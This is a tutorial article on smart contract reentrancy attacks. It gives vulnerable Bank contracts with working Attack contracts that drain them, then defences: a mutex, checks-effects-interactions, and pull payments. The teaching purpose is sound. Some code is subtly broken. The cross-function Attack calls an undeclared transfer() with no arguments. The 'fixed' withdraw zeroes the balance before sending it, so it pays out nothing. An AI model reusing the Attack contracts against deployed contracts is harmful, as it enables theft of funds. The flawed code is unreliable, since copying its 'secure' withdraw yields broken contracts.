Smart contract security: an illustrated guide to Re-entrancy Attack

Smart contract security: an illustrated guide to Re-entrancy Attack

Introduction

On June 17, 2016, a hacker drained 3.6 million ETH from TheDao's smart contract. It was the notorious reentrancy attack that led to a hard fork of Ethereum which became Ethereum Classic (ETC). After the attack, developers were educated to prevent similar attacks, but it does not stop hackers from exploiting the vulnerability several times more.

If you are a smart contract developer, it is important to understand reentrancy attack and how to prevent it.

Types of reentrancy attack

There are two known types of reentrancy attacks: single function and cross-function reentrancy. In this article, we will stimulate them with two smart contracts: Bank and Attack.

Single function reentrancy attack

Bank smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable {
        require(balances[msg.sender] > 0,"Not enough balance");

        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(success, "Failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}

The Bank smart contract is pretty straightforward. We have a balances mapping, a deposit function, and a withdraw function which we want to pay attention to.

The withdraw function does 3 things. First, it checks if the user has deposited ETH. If yes, transfer the balance to the user's address. Finally, it set the user's balance to 0. Here is the diagram:

reentrancy.png

Attack smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();

        payable(msg.sender).transfer(address(this).balance);
    }


    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.withdraw();
        }
    }
}

Before explaining the Attack smart contract code, let's discuss the concept of the reentrancy attack. (For short, I will call the smart contracts Bank and Attack)

Consider Bank calling Attack. If Attack can call Bank while Bank is still executing its call to Attack, reentrancy happens. This makes a loop that drains all Bank's funds. Let's look at the following diagram:

reentrancy-single-function.png

The reentrancy attack can be broken down into 3 steps:

Step 1: Attack calls Bank's withdraw function. Bank contract transfer ETH to Attack after checking Attack's balance valid.

Step 2: Transfering ETH from Bank to Attack triggers Attack's receive function. If you are not familiar with receive Ether Function, read more about it here.

Step 3: Attack's receive function calls Bank's withdraw function again while Bank is still executing its call at step 2. This means that balances[msg.sender] = 0; doesn't get executed, so Bank keeps sending its ETH to Attack until there is no ETH anymore.

Cross-function reentrancy attack

This type of reentrancy attack is achievable when a vulnerable function shares a state with another external function that performs what the hacker wants.

Bank smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}

Attack smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
        // transfer to msg.sender balance of this contract
        payable(msg.sender).transfer(address(this).balance);
    }


    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.transfer();
        }
    }
}

Our Bank smart contract now has another function, transfer. This function allows the user to transfer ETH from his balance to a recipient. The withdraw function shares the mapping balances state with the transfer function which has

Instead of recursively calling Bank's withdraw function, Attack calls the transfer function in its receive function. Because the line balances[msg.sender] = 0; in Bank's withdraw function has not been reached before this call, the transfer function keeps transferring ETH to the attacker's address.

reentrancy-cross-function.png

How to prevent reentrancy attacks

Reentrancy guard

Reentrancy guard or mutex places a lock on the smart contract state. Locking the state will prevent the attacker from calling withdraw or transfer function recursively.

bool private locks;

 function withdraw() external payable {
        require(!locks, "Balances locked!");
        locks = true;

        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;

        locks = false;
    }

When Bank's withdraw function calls Attack's receive function, locks is still true. It will trigger the require function, and revert the call.

reentrancy-mutex.png

That is the simplest form of Reentrancy guard. If you want a more complex one, check out OpenZeppelin's ReentrancyGuard.sol

Checks, Effects, Interactions

We set the user's balance to 0 before transferring the funds to the Attack contract. require(balances[msg.sender]>0, "Not enough balance"); will be triggered when the Attack contract call withdraw function again.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");

         balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");
    }
}

PullPayment

In this pattern, the paying contract sends funds to an intermediate escrow to avoid direct contact with bad contracts. We now store users' balances in the Escrow smart contract, and the users can pull the funds themself from there.

Bank smart contract

pragma solidity ^0.8.16;

import "./Escrow.sol";

contract Bank {
    Escrow private immutable _escrow;

    constructor() {
        _escrow = new Escrow();
    }

    function withdrawPayments(address payable payee) public virtual {
        _escrow.withdraw(payee);
    }

    function payments(address dest) public view returns (uint256) {
        return _escrow.depositsOf(dest);
    }

    function _asyncTransfer(address dest, uint256 amount) internal virtual {
        _escrow.deposit{value: amount}(dest);
    }
}

Escrow smart contract

pragma solidity ^0.8.16;

import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';

contract Escrow is Ownable {

    using Address for address payable;

    mapping(address => uint256) private _balances;

    function depositsOf(address payee) public view returns (uint256) {
        return _balances[payee];
    }


    function deposit(address payee) public payable virtual onlyOwner {
        uint256 amount = msg.value;
        _balances[payee] += amount;
    }

    function withdraw(address payable payee) public virtual onlyOwner {
        uint256 payment = _balances[payee];

        _balances[payee] = 0;

        payee.sendValue(payment);
    }
}

We still need to protect the Escrow smart contract from reentrancy attacks. That is why we have _balances[payee] = 0; before sending funds in the withdraw function.

Like the Reetrancy guard, the PullPayment method is recommended by OpenZeppelin. You can find the details versions of the two smart contracts above in their Github Repo: PullPayment.sol and Escrow.sol

Conclusion

Reentrancy is probably the most popular and exploited vulnerability in the history of Web3. Smart contract developers must understand how it works and how to prevent it from being exploited. Checkout this Github repo for the code.